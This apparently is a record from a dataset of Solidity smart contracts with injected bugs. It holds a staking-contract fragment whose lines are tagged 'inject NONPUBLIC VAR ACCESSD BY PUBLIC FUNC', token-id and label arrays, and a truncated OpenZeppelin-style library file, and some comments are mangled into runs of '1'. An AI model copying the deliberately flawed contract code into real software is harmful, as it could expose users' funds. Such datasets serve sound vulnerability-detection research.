emit CancelStaking(msg.sender, amount);
return true;
}
function getTotalReward(uint256 blockNb, address _user)
public
view
returns (uint256 total)
{
if (!syncUserInfo[msg.sender]) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
total = _getTotalRewardNotSync(blockNb, _user);
} else {
total = _getTotalReward(blockNb, _user);
}
}
function _getTotalReward(uint256 blockNb, address _user)
internal
view
returns (uint256 total)
{
if (blockNb > mEndBlock) {
blockNb = mEndBlock;
}
// 1111111111
// 1,1111111cancel11
// 2,1111111
// 31111111
total = mOldReward[_user];
uint256 iMyOldStaking = 0;
for (
uint256 i = 0;
i < stakingStorage.getStakesdataLength(_user);
i++
) {
(uint256 stakingAmount, ) = stakingStorage.getStakesDataByIndex(
_user,
i
);
iMyOldStaking = iMyOldStaking.add(stakingAmount);
}
if (iMyOldStaking > 0) {
uint256 oldStakingAmount = super.amountOf(mOldStaking);
uint256 iReward2 = super
._calcReward(blockNb, mOldStaking)
.sub(
mWidthdrawRewardFromOldStaking,
"getTotalReward iReward2 sub overflow"
)
.mul(iMyOldStaking)
.div(oldStakingAmount);
total = total.add(iReward2);
}
uint256 reward3 = super._calcReward(blockNb, _user);
total = total.add(reward3);
}
function _getTotalRewardNotSync(uint256 blockNb, address _user)
internal
view
returns (uint256 total)
{
if (blockNb > mEndBlock) {
blockNb = mEndBlock;
}
// rely on the old simplestaking contract
uint256 oldTotalReward = 0;
oldTotalReward = mOldSimpleStaking.getTotalReward(blockNb, _user);
total = total.add(oldTotalReward);
uint256 reward3 = super._calcReward(blockNb, _user);
total = total.add(reward3);
}
// claim reward
// Note: 111111111token111
function claim() public override whenNotPaused returns (bool) {
//stakingStorage.requireStakingEnd()
// require(
// syncUserInfo[msg.sender],
// "sync is required before perform action."
// );
if (!syncUserInfo[msg.sender]) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
syncUserInfoData(msg.sender);
}
require(
block.timestamp > claimRewardLockTime, //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
"Not time to claim reward"
);
uint256 iMyOldStaking = stakingStorage.stakingBalanceOf(msg.sender); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 iAmount = super.amountOf(msg.sender);
_cancelStaking(msg.sender, iMyOldStaking.add(iAmount));
uint256 iReward = getTotalReward(mEndBlock, msg.sender); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_claim(msg.sender);
mOldReward[msg.sender] = 0; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
linaToken.transfer(msg.sender, iReward); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit Claim(msg.sender, iReward, iMyOldStaking.add(iAmount));
return true;
}
function setRewardLockTime(uint256 newtime) public onlyAdmin {
claimRewardLockTime = newtime; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function calcReward(uint256 curBlock, address _user)
public
view
returns (uint256)
{
return _calcRewardWithViewSimpleAmount(curBlock, _user);
}
// This is copied particularly for catering the amount when user not sync
function _calcRewardWithViewSimpleAmount(uint256 curBlock, address _user)
internal
view
returns (uint256)
{
PoolInfo storage pool = mPoolInfo;
UserInfo storage user = userInfo[_user];
uint256 accRewardPerShare = pool.accRewardPerShare;
uint256 lpSupply = pool.amount;
if (curBlock > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = curBlock.sub(
pool.lastRewardBlock,
"cr curBlock sub overflow"
);
uint256 curReward = multiplier.mul(rewardPerBlock);
accRewardPerShare = accRewardPerShare.add(
curReward.mul(1e20).div(lpSupply)
);
}
// Only logic added for old simpleStaking
uint256 ssReward;
uint256 ssAmount;
uint256 ssRewardDebt;
(ssReward, ssAmount, ssRewardDebt) = mOldSimpleStaking.getUserInfo(
_user
);
ssAmount = ssAmount.add(user.amount);
ssRewardDebt = ssRewardDebt.add(user.rewardDebt);
ssReward = ssReward.add(user.reward);
// uint256 newReward = user.amount.mul(accRewardPerShare).div(1e20).sub(
uint256 newReward = ssAmount.mul(accRewardPerShare).div(1e20).sub(
ssRewardDebt,
"cr newReward sub overflow"
);
return newReward.add(ssReward);
}
function setTransLock(address target, uint256 locktime) public onlyAdmin {
require(
locktime >= now + 2 days,
"locktime need larger than cur time 2 days"
);
mTargetAddress = target; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mTransLockTime = locktime; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit TransLock(mTargetAddress, mTransLockTime); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function transTokens(uint256 amount) public onlyAdmin {
require(mTransLockTime > 0, "mTransLockTime not set"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(now > mTransLockTime, "Pls wait to unlock time"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
linaToken.transfer(mTargetAddress, amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
} | inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
| require(block.timestamp > stakingEndTime, "Need wait to staking end"); | 12,926,009 | [
1,
22170,
18708,
14939,
8350,
13255,
40,
6953,
17187,
478,
21163,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2583,
12,
2629,
18,
5508,
405,
384,
6159,
25255,
16,
315,
14112,
2529,
358,
384,
6159,
679,
8863,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
external returns (bytes4);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
